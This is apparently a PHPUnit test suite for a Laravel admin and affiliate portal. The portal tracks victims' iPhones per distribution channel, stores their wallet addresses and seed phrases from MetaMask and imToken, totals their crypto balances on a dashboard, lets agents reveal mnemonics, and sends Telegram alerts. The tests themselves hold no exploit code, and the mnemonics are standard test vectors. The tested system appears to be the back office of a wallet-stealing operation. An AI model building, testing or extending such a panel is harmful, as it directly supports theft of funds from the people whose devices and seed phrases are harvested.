561 lines
21 KiB
PHP
561 lines
21 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Admin;
|
|
use App\Models\Channel;
|
|
use App\Models\Device;
|
|
use App\Models\User;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\ChannelProjectService;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use Mockery;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class AdminAgentPortalTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
#[Test]
|
|
public function users_and_channels_tables_exist_via_models(): void
|
|
{
|
|
$user = User::query()->create([
|
|
'username' => 'agent1',
|
|
'password' => 'secret12',
|
|
'status' => 1,
|
|
'comment' => 'test',
|
|
]);
|
|
$channel = Channel::query()->create([
|
|
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
|
'user_id' => $user->id,
|
|
'status' => 1,
|
|
'remark' => 'demo',
|
|
]);
|
|
|
|
config([
|
|
'coruna.channel_domains' => ['cdn.example.com'],
|
|
'coruna.deployment_domains' => ['cdn.example.com'],
|
|
]);
|
|
|
|
$this->assertDatabaseHas('users', ['username' => 'agent1']);
|
|
$this->assertDatabaseHas('channels', ['channel_id' => $channel->channel_id, 'user_id' => $user->id]);
|
|
$this->assertSame(
|
|
['https://cdn.example.com/web/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/support.html'],
|
|
$channel->supportLinks()
|
|
);
|
|
}
|
|
|
|
#[Test]
|
|
public function disabled_agent_cannot_login(): void
|
|
{
|
|
User::query()->create([
|
|
'username' => 'disabled',
|
|
'password' => 'secret12',
|
|
'status' => 0,
|
|
]);
|
|
|
|
$this->post('/user/login', [
|
|
'username' => 'disabled',
|
|
'password' => 'secret12',
|
|
])->assertOk()->assertJson(['code' => 1, 'msg' => '账号已禁用']);
|
|
|
|
$this->assertGuest('agent');
|
|
}
|
|
|
|
#[Test]
|
|
public function enabled_agent_can_login(): void
|
|
{
|
|
User::query()->create([
|
|
'username' => 'okagent',
|
|
'password' => 'secret12',
|
|
'status' => 1,
|
|
]);
|
|
|
|
$this->post('/user/login', [
|
|
'username' => 'okagent',
|
|
'password' => 'secret12',
|
|
])->assertOk()->assertJson([
|
|
'code' => 0,
|
|
'msg' => '登录成功',
|
|
'data' => route('user.home'),
|
|
]);
|
|
|
|
$this->assertAuthenticated('agent');
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_google2fa_required_when_enabled(): void
|
|
{
|
|
$google2fa = app(\App\Services\AdminGoogle2fa::class);
|
|
$secret = $google2fa->generateSecret();
|
|
$agent = User::query()->create([
|
|
'username' => 'gaagent',
|
|
'password' => 'secret12',
|
|
'status' => 1,
|
|
]);
|
|
$agent->forceFill([
|
|
'google_auth_open' => 1,
|
|
'google_secret' => $secret,
|
|
])->save();
|
|
|
|
$this->post('/user/login', [
|
|
'username' => 'gaagent',
|
|
'password' => 'secret12',
|
|
])->assertOk()->assertJson(['code' => 1, 'msg' => '请输入谷歌验证码!']);
|
|
|
|
$this->assertGuest('agent');
|
|
|
|
$code = (new \PragmaRX\Google2FA\Google2FA)->getCurrentOtp($secret);
|
|
$this->post('/user/login', [
|
|
'username' => 'gaagent',
|
|
'password' => 'secret12',
|
|
'GACode' => $code,
|
|
])->assertOk()->assertJsonPath('code', 0);
|
|
|
|
$this->assertAuthenticated('agent');
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_can_create_channel_with_random_id_and_links_fallback_domains(): void
|
|
{
|
|
config([
|
|
'coruna.channel_domains' => ['fallback.test'],
|
|
'coruna.deployment_domains' => ['fallback.test'],
|
|
]);
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
|
|
$projects = Mockery::mock(ChannelProjectService::class);
|
|
$projects->shouldReceive('generate')->once()->andReturn([
|
|
'channel_id' => 'placeholder',
|
|
'seeds' => [
|
|
'deployment_seed' => '11111111111111111111111111111111',
|
|
'reporting_seed' => '11111111111111111111111111111111',
|
|
],
|
|
'domains' => ['deployment' => [], 'reporting' => []],
|
|
'seeds_initialized' => false,
|
|
'sync_rebuilt' => false,
|
|
'support_path' => '/channel/x/weifile/weifile.html',
|
|
'daily_path' => '/channel/x/details/',
|
|
]);
|
|
$this->app->instance(ChannelProjectService::class, $projects);
|
|
|
|
$random = $this->actingAs($admin, 'admin')
|
|
->get(route('admin.channels.randomId'))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->json('data.channel_id');
|
|
$this->assertIsString($random);
|
|
$this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $random);
|
|
|
|
$channelId = Channel::randomNewChannelId();
|
|
$this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $channelId);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->post(route('admin.channels.store'), [
|
|
'channel_id' => $channelId,
|
|
'user_id' => 0,
|
|
'remark' => 'official',
|
|
'status' => 1,
|
|
])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
|
|
->assertJsonPath('data.links.0', 'https://fallback.test/channel/'.$channelId.'/weifile/weifile.html');
|
|
|
|
$this->assertDatabaseHas('channels', [
|
|
'channel_id' => $channelId,
|
|
'builder_type' => Channel::BUILDER_NEW,
|
|
'user_id' => 0,
|
|
'remark' => 'official',
|
|
]);
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_only_sees_own_channel_devices_and_addresses(): void
|
|
{
|
|
$agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
|
|
$agentB = User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1]);
|
|
$chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
|
$chB = 'cccccccccccccccccccccccccccccccc';
|
|
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
|
|
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
|
|
|
|
$devA = Device::query()->create([
|
|
'device_id' => 'dev-a',
|
|
'channel_id' => $chA,
|
|
'device_model' => 'iPhone',
|
|
]);
|
|
$devB = Device::query()->create([
|
|
'device_id' => 'dev-b',
|
|
'channel_id' => $chB,
|
|
'device_model' => 'iPhone',
|
|
]);
|
|
WalletAddress::query()->create([
|
|
'device_id' => $devA->id,
|
|
'address' => 'addr-a',
|
|
'source' => 'imToken',
|
|
'chain_type' => 'ETH',
|
|
]);
|
|
WalletAddress::query()->create([
|
|
'device_id' => $devB->id,
|
|
'address' => 'addr-b',
|
|
'source' => 'imToken',
|
|
'chain_type' => 'ETH',
|
|
]);
|
|
|
|
$this->actingAs($agentA, 'agent')
|
|
->getJson(route('user.devices.data'))
|
|
->assertOk()
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.device_id', 'dev-a');
|
|
|
|
$this->actingAs($agentA, 'agent')
|
|
->getJson(route('user.addresses.data'))
|
|
->assertOk()
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.address', 'addr-a');
|
|
|
|
$this->actingAs($agentA, 'agent')
|
|
->get(route('user.devices.show', $devB))
|
|
->assertForbidden();
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_agent_filter_scopes_devices(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$agent = User::query()->create(['username' => 'filter-me', 'password' => 'secret12', 'status' => 1]);
|
|
$ch = 'dddddddddddddddddddddddddddddddd';
|
|
$official = 'cccccccccccccccccccccccccccccccc';
|
|
Channel::query()->create(['channel_id' => $ch, 'user_id' => $agent->id, 'status' => 1]);
|
|
Channel::query()->create(['channel_id' => $official, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]);
|
|
Device::query()->create(['device_id' => 'mine', 'channel_id' => $ch]);
|
|
Device::query()->create(['device_id' => 'official-dev', 'channel_id' => $official]);
|
|
Device::query()->create(['device_id' => 'other', 'channel_id' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee']);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.devices.data', ['agent_user_id' => $agent->id]))
|
|
->assertOk()
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.device_id', 'mine');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.devices.data', ['agent_user_id' => 0]))
|
|
->assertOk()
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.device_id', 'official-dev');
|
|
}
|
|
|
|
#[Test]
|
|
public function dashboard_counts_smoke(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$d1 = Device::query()->create([
|
|
'device_id' => 'd1',
|
|
'channel_id' => 'ffffffffffffffffffffffffffffffff',
|
|
'ios_version' => '15.8.4',
|
|
]);
|
|
Device::query()->create([
|
|
'device_id' => 'd2',
|
|
'channel_id' => 'ffffffffffffffffffffffffffffffff',
|
|
'ios_version' => '15.8.4',
|
|
]);
|
|
Device::query()->create([
|
|
'device_id' => 'd3',
|
|
'channel_id' => 'ffffffffffffffffffffffffffffffff',
|
|
'ios_version' => '18.5',
|
|
]);
|
|
WalletAddress::query()->create([
|
|
'device_id' => $d1->id,
|
|
'address' => 'TTestAddress111111111111111111111',
|
|
'chain_type' => 'TRON',
|
|
'usdt' => '10.5',
|
|
'trx' => '2',
|
|
'eth' => '0',
|
|
'btc' => '0.001',
|
|
'bnb' => '1.25',
|
|
]);
|
|
WalletAddress::query()->create([
|
|
'device_id' => $d1->id,
|
|
'address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd',
|
|
'chain_type' => 'ETH',
|
|
'usdt' => '1.5',
|
|
'trx' => '0',
|
|
'eth' => '0.1',
|
|
'btc' => '0',
|
|
'bnb' => '0',
|
|
]);
|
|
WalletMnemonic::query()->create([
|
|
'device_id' => $d1->id,
|
|
'source' => 'MetaMask',
|
|
'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
|
]);
|
|
WalletMnemonic::query()->create([
|
|
'device_id' => $d1->id,
|
|
'source' => 'imToken',
|
|
'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow',
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.dashboard.data', ['range' => '30d']))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.total', 3)
|
|
->assertJsonPath('data.mnemonic_count', 2)
|
|
->assertJsonPath('data.address_count', 2)
|
|
->assertJsonPath('data.balances.usdt', '12')
|
|
->assertJsonPath('data.balances.trx', '2')
|
|
->assertJsonPath('data.balances.eth', '0.1')
|
|
->assertJsonPath('data.balances.btc', '0.001')
|
|
->assertJsonPath('data.balances.bnb', '1.25')
|
|
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
|
|
->assertJsonPath('data.by_device_ios_version.0.count', 2)
|
|
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
|
|
->assertJsonPath('data.by_device_ios_version.1.count', 1)
|
|
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]);
|
|
}
|
|
|
|
#[Test]
|
|
public function dashboard_date_range_filters_all_metrics(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
|
|
$inRange = Device::query()->create([
|
|
'device_id' => 'in-range',
|
|
'channel_id' => 'ffffffffffffffffffffffffffffffff',
|
|
'ios_version' => '15.8.4',
|
|
'has_wallet' => Device::WALLET_YES,
|
|
]);
|
|
\Illuminate\Support\Facades\DB::table('devices')->where('id', $inRange->id)->update([
|
|
'created_at' => '2026-08-10 12:00:00',
|
|
'updated_at' => '2026-08-10 12:00:00',
|
|
]);
|
|
|
|
$outOfRange = Device::query()->create([
|
|
'device_id' => 'out-of-range',
|
|
'channel_id' => 'ffffffffffffffffffffffffffffffff',
|
|
'ios_version' => '18.5',
|
|
'has_wallet' => Device::WALLET_YES,
|
|
]);
|
|
\Illuminate\Support\Facades\DB::table('devices')->where('id', $outOfRange->id)->update([
|
|
'created_at' => '2026-07-01 12:00:00',
|
|
'updated_at' => '2026-07-01 12:00:00',
|
|
]);
|
|
|
|
$addr = WalletAddress::query()->create([
|
|
'device_id' => $inRange->id,
|
|
'address' => 'TInRangeAddr111111111111111111111',
|
|
'chain_type' => 'TRON',
|
|
'usdt' => '5',
|
|
'trx' => '1',
|
|
]);
|
|
\Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $addr->id)->update([
|
|
'created_at' => '2026-08-10 12:00:00',
|
|
'updated_at' => '2026-08-10 12:00:00',
|
|
]);
|
|
|
|
$mn = WalletMnemonic::query()->create([
|
|
'device_id' => $inRange->id,
|
|
'source' => 'MetaMask',
|
|
'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
|
]);
|
|
\Illuminate\Support\Facades\DB::table('wallet_mnemonics')->where('id', $mn->id)->update([
|
|
'created_at' => '2026-08-10 12:00:00',
|
|
'updated_at' => '2026-08-10 12:00:00',
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.dashboard.data', [
|
|
'date_from' => '2026-08-01',
|
|
'date_to' => '2026-08-15',
|
|
]))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.total', 1)
|
|
->assertJsonPath('data.new_count', 1)
|
|
->assertJsonPath('data.wallet_count', 1)
|
|
->assertJsonPath('data.mnemonic_count', 1)
|
|
->assertJsonPath('data.address_count', 1)
|
|
->assertJsonPath('data.balances.usdt', '5')
|
|
->assertJsonPath('data.date_from', '2026-08-01')
|
|
->assertJsonPath('data.date_to', '2026-08-15');
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_can_create_and_update_agent_album_storage_default(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->post(route('admin.agents.store'), [
|
|
'username' => 'albumagent',
|
|
'password' => 'secret12',
|
|
'status' => 1,
|
|
])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0);
|
|
|
|
$agent = User::query()->where('username', 'albumagent')->first();
|
|
$this->assertNotNull($agent);
|
|
$this->assertFalse($agent->albumStorageDefaultEnabled());
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->put(route('admin.agents.update', $agent), [
|
|
'album_storage_default' => 1,
|
|
])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0);
|
|
|
|
$this->assertTrue($agent->fresh()->albumStorageDefaultEnabled());
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.agents.data'))
|
|
->assertOk()
|
|
->assertJsonFragment(['username' => 'albumagent', 'album_storage_default' => 1]);
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_can_create_and_update_agent_mnemonic_reveal(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->post(route('admin.agents.store'), [
|
|
'username' => 'revealagent',
|
|
'password' => 'secret12',
|
|
'status' => 1,
|
|
'can_reveal_mnemonics' => 1,
|
|
])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0);
|
|
|
|
$agent = User::query()->where('username', 'revealagent')->first();
|
|
$this->assertNotNull($agent);
|
|
$this->assertTrue($agent->mnemonicRevealEnabled());
|
|
$this->assertFalse($agent->canRevealMnemonics());
|
|
|
|
config(['coruna.mnemonic_reveal.staff_enabled' => true]);
|
|
$this->assertTrue($agent->fresh()->canRevealMnemonics());
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->put(route('admin.agents.update', $agent), [
|
|
'can_reveal_mnemonics' => 0,
|
|
])
|
|
->assertOk();
|
|
|
|
$this->assertFalse($agent->fresh()->mnemonicRevealEnabled());
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_page_hides_mnemonic_reveal_when_env_off(): void
|
|
{
|
|
config(['coruna.mnemonic_reveal.staff_enabled' => false]);
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
User::query()->create(['username' => 'hideagent', 'password' => 'secret12', 'status' => 1]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.agents.index'))
|
|
->assertOk()
|
|
->assertDontSee('查看助记词', false);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.agents.data'))
|
|
->assertOk()
|
|
->assertJsonPath('data.0.username', 'hideagent')
|
|
->assertJsonMissingPath('data.0.can_reveal_mnemonics');
|
|
|
|
config(['coruna.mnemonic_reveal.staff_enabled' => true]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.agents.index'))
|
|
->assertOk()
|
|
->assertSee('查看助记词', false);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.agents.data'))
|
|
->assertOk()
|
|
->assertJsonPath('data.0.can_reveal_mnemonics', 0);
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_list_shows_google_bound_status(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
User::query()->create(['username' => 'unbound', 'password' => 'secret12', 'status' => 1]);
|
|
$bound = User::query()->create(['username' => 'bound', 'password' => 'secret12', 'status' => 1]);
|
|
$bound->forceFill(['google_secret' => 'JBSWY3DPEHPK3PXP'])->save();
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.agents.index'))
|
|
->assertOk()
|
|
->assertSee('谷歌验证', false);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.agents.data'))
|
|
->assertOk()
|
|
->assertJsonFragment(['username' => 'unbound', 'google_bound' => 0])
|
|
->assertJsonFragment(['username' => 'bound', 'google_bound' => 1]);
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_cannot_create_channel(): void
|
|
{
|
|
$agent = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
|
|
$this->actingAs($agent, 'agent')
|
|
->post('/user/channels', [
|
|
'channel_id' => 'gggggggggggggggggggggggggggggggg',
|
|
'status' => 1,
|
|
])
|
|
->assertStatus(405);
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_can_send_agent_telegram_test(): void
|
|
{
|
|
config(['coruna.telegram.bot_token' => 'system-token']);
|
|
\Illuminate\Support\Facades\Http::fake([
|
|
'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response(['ok' => true], 200),
|
|
]);
|
|
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$agent = User::query()->create([
|
|
'username' => 'tgagent',
|
|
'password' => 'secret12',
|
|
'status' => 1,
|
|
'chat_id' => '-200',
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->post(route('admin.agents.telegramTest'), [
|
|
'agent_id' => $agent->id,
|
|
'chat_id' => '-300',
|
|
])
|
|
->assertOk()
|
|
->assertJsonPath('code', 0);
|
|
|
|
\Illuminate\Support\Facades\Http::assertSent(function ($request) {
|
|
$text = (string) ($request->data()['text'] ?? '');
|
|
|
|
return str_contains($request->url(), '/botsystem-token/')
|
|
&& ($request->data()['chat_id'] ?? null) === '-300'
|
|
&& str_contains($text, 'Telegram 测试')
|
|
&& str_contains($text, 'tgagent');
|
|
});
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_telegram_test_requires_chat_id(): void
|
|
{
|
|
config(['coruna.telegram.bot_token' => 'system-token']);
|
|
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$this->actingAs($admin, 'admin')
|
|
->post(route('admin.agents.telegramTest'), [])
|
|
->assertOk()
|
|
->assertJsonPath('code', 1)
|
|
->assertJsonPath('msg', '未填写 Chat ID');
|
|
}
|
|
}
|